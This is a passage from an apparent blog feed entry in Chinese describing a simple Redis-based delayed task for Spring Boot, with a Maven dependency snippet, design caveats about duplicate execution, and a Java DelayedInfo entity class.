class="name">artifactId</span>></span>spring-boot-starter-data-redis<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">exclusions</span>></span></span><br><span class="line"><span class="tag"><<span class="name">exclusion</span>></span></span><br><span class="line"><span class="tag"><<span class="name">groupId</span>></span>org.springframework.boot<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">artifactId</span>></span>spring-boot-starter<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"></<span class="name">exclusion</span>></span></span><br><span class="line"><span class="tag"><<span class="name">exclusion</span>></span></span><br><span class="line"><span class="tag"><<span class="name">groupId</span>></span>org.slf4j<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">artifactId</span>></span>slf4j-api<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"></<span class="name">exclusion</span>></span></span><br><span class="line"><span class="tag"></<span class="name">exclusions</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h1 id="重要的前言"><a href="#重要的前言" class="headerlink" title="重要的前言"></a>重要的前言</h1><p> 先说说为什么重复造轮子,当时的情况是只需要一个简单的延时任务,做到不丢失即可,引入分布式定时任务框架又觉得太重,因此手动造了个基于redis的简单可靠定时任务。</p>
<p>适用场景,此种做法在单机部署情况下是肯定没问题的,在分布式部署情况下可能会出现问题,比如同一个服务同时重启了,又刚好同时读取redis中的定时任务,还刚好就在那几十毫秒的情况下没有检测到redis锁,此时会导致任务重复读取。</p>
<p>因此,在定时任务的代码中需要容忍可能会出现重复执行的情况,一般做法是用订单状态判断,所以如果不是非常严格的场景,这套做法是够用了 (复杂的定时任务建议用QUARTZ)。</p>
<h1 id="上代码"><a href="#上代码" class="headerlink" title="上代码"></a>上代码</h1><p> 废话结束,接下来上代码,首先创建定时任务的实体类,保存定时任务执行时间、订单ID、订单类型等。</p>
<h4 id="定时任务实体类"><a href="#定时任务实体类" class="headerlink" title="定时任务实体类"></a>定时任务实体类</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">DelayedInfo</span> <span class="keyword">implements</span> <span class="title">Delayed</span> </span>&#123;</span><br><span class="line"> <span class="keyword">private</span> String orderId;</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 任务类型(订单类型)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> Integer delayType;</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 当前时间</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">long</span> currentTime;</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 任务执行时间=当前时间 + 延时任务执行时间</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">long</span> startTime;</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 延时时间,单位为秒</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">long</span> timeOut;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">DelayedInfo</span><span class="params">()</span></span>&#123;&#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">DelayedInfo</span><span class="params">(String orderId, <span class="keyword">long</span> currentTime, <span class="keyword">long</span> timeOut)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.orderId = orderId;</span><br><span class="line"> <span class="keyword">this</span>.currentTime = currentTime;</span><br><span class="line"> <span class="keyword">this</span>.startTime = currentTime + timeOut * <span class="number">1000l</span>;</span><br><span class="line"> <span class="keyword">this</span>.timeOut=timeOut;</span><br><span class="line"> <span class="keyword">this</span>.delayType=Contract.ORDER_TYPE_CHARGE;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">DelayedInfo</span><span class="params">(String orderId, <span class="keyword">long</span> currentTime, <span class="keyword">long</span> timeOut,<span class="keyword">int</span> orderType)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.orderId = orderId;</span><br><span class="line"> <span class="keyword">this</span>.currentTime = currentTime;</span><br><span class="line"> <span class="keyword">this</span>.startTime = currentTime + timeOut * <span class="number">1000l</span>;</span><br><span class="line"> <span class="keyword">this</span>.timeOut=timeOut;</span><br><span class="line"> <span class="keyword">this</span>.delayType=orderType;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">getDelay</span><span class="params">(TimeUnit unit)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">return</span> unit.convert(startTime - System.currentTimeMillis(), unit);</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">compareTo</span><span class="params">(Delayed other)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">if</span> (other == <span class="keyword">this</span>)&#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">if</span>(other <span class="keyword">instanceof</span> DelayedInfo)&#123;</span><br><span class="line"> DelayedInfo otherRequest = (DelayedInfo)other;</span><br><span class="line"> <span class="keyword">long</span> otherStartTime = otherRequest.getStartTime();</span><br><span class="line"> <span class="keyword">return</span> (<span class="keyword">int</span>)(<span class="keyword">this</span>.startTime - otherStartTime);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getOrderId</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="keyword">return</span> orderId;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setOrderId</span><span class="params">(String orderId)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.orderId = orderId;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">getStartTime</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="keyword">return</span> startTime;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setStartTime</span><span class="params">(<span class="keyword">long</span> startTime)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.startTime = startTime;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">getCurrentTime</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="keyword">return</span> currentTime;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setCurrentTime</span><span class="params">(<span class="keyword">long</span> currentTime)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.currentTime = currentTime;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="keyword">return</span> JacksonUtil.toJSon(<span class="keyword">this</span>);</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">getTimeOut</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="keyword">return</span> timeOut;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setTimeOut</span><span class="params">(<span class="keyword">long</span> timeOut)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.timeOut = timeOut;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Integer <span class="title">getDelayType</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="keyword">return</span> delayType;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setDelayType</span><span class="params">(Integer delayType)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.delayType = delayType;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>其中delayType、OrderType就是订单类型的枚举标识,可自己定义标识。</p></summary>
<category term="JAVA" scheme="https://reiner.host/categories/JAVA/"/>
<category term="JAVA" scheme="https://reiner.host/tags/JAVA/"/>
<category term="SringBoot" scheme="https://reiner.host/tags/SringBoot/"/>
<category term="Redis" scheme="https://reiner.host/tags/Redis/"/>
<category term="定时任务" scheme="https://reiner.host/tags/%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1/"/>
</entry>
</feed>